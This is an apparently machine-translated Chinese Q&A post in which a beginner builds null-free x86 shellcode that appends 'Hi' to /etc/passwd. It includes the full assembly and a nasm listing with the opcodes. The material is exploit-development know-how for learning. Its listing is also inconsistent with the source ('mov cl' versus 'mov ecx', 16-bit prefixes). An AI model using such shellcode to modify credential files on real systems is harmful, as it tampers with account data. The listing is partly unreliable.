可能是一个愚蠢的问题,但是我很新。使用32位操作系统并编写汇编代码以将字符串“ Hi”附加到/ etc / passwd文件中可以很好地工作,现在,我想检索相应的十六进制代码,试图发现用于构建shellcode的错误字符。 通过以下方式构建可执行文件:
nasm file.asm
ld file.o
然后执行,我在/ etc / passwd的末尾得到字符串'Hi'。这是我要转换以查看十六进制值的汇编代码:
section .text
global _start
_start:
jmp two
one:
;open() write|append sys call
pop ebx
xor eax, eax
mov cl, 1090
mov al, 5
int 0x80
mov ebx, eax
jmp four
five:
;write() sys call
pop ecx
xor eax, eax
mov dl, 2
mov al, 4
int 0x80
;close() sys call
mov al, 6
int 0x80
;exit() sys call
mov al, 1
xor ebx, ebx
int 0x80
two:
call one
db "/etc/passwd", 0
four:
call five
db "Hi", 0
更新:与以下代码相同的结果
section .text
global _start
_start:
jmp two
one:
;open() write|append sys call
pop ebx
xor eax, eax
mov [ebx+11], al ; <--added now
mov cl, 1090
mov al, 5
int 0x80
mov ebx, eax
jmp four
five:
;write() sys call
pop ecx
xor eax, eax
mov [ecx+2], al ; <--added now
mov dl, 2
mov al, 4
int 0x80
;close() sys call
mov al, 6
int 0x80
;exit() sys call
mov al, 1
xor ebx, ebx
int 0x80
two:
call one
db "/etc/passwdX" ; <--modified now
four:
call five
db "HiX" ; <--modified now
新提供的asm版本仍然可以使用,并且应该解决字符串的NULL字节的问题,对吗?
答案 0 :(得分:0)
是的,第一个评论中回答了该问题,其他评论帮助我改进了代码。为了更好的理解,我将展示从一开始的所有步骤: 这是将字符串“ Hi”附加到/ etc / passwd的汇编代码:
global _start
_start:
jmp two
one:
;open() write|append sys call
pop ebx
xor eax, eax
mov [ebx+11], al
mov cl, 1090
mov al, 5
int 0x80
mov ebx, eax
jmp four
five:
;write() sys call
pop ecx
xor eax, eax
mov [ecx+2], al
mov dl, 2
mov al, 4
int 0x80
;close() sys call
mov al, 6
int 0x80
;exit() sys call
mov al, 1
xor ebx, ebx
int 0x80
two:
call one
db "/etc/passwdX"
four:
call five
db "HiX"
然后生成十六进制代码,只需按照建议执行:
nasm -l output.txt file.asm
然后打开output.txt,它将显示:
1 global _start
2
3 _start:
4
5 00000000 EB32 jmp two
6 one:
7 00000002 665B pop ebx
8 00000004 6631C0 xor eax, eax
9 00000007 6788430B mov [ebx+11], al
10 0000000B 66B942040000 mov ecx, 1090
11 00000011 B005 mov al, 5
12 00000013 CD80 int 0x80
13 00000015 6689C3 mov ebx, eax
14
15 00000018 EB29 jmp four
16
17 five:
18 0000001A 6659 pop ecx
19 0000001C 6631C0 xor eax, eax
20 0000001F 67884102 mov [ecx+2], al
21 00000023 B202 mov dl, 2
22 00000025 B004 mov al, 4
23 00000027 CD80 int 0x80
24
25 00000029 B006 mov al, 6
26 0000002B CD80 int 0x80
27
28 0000002D B001 mov al, 1
29 0000002F 6631DB xor ebx, ebx
30 00000032 CD80 int 0x80
31
32 two:
33 00000034 E8CBFF call one
34 00000037 2F6574632F70617373- db "/etc/passwdX"
35 00000040 776458
36 four:
37 00000043 E8D4FF call five
38 00000046 486958 db "HiX"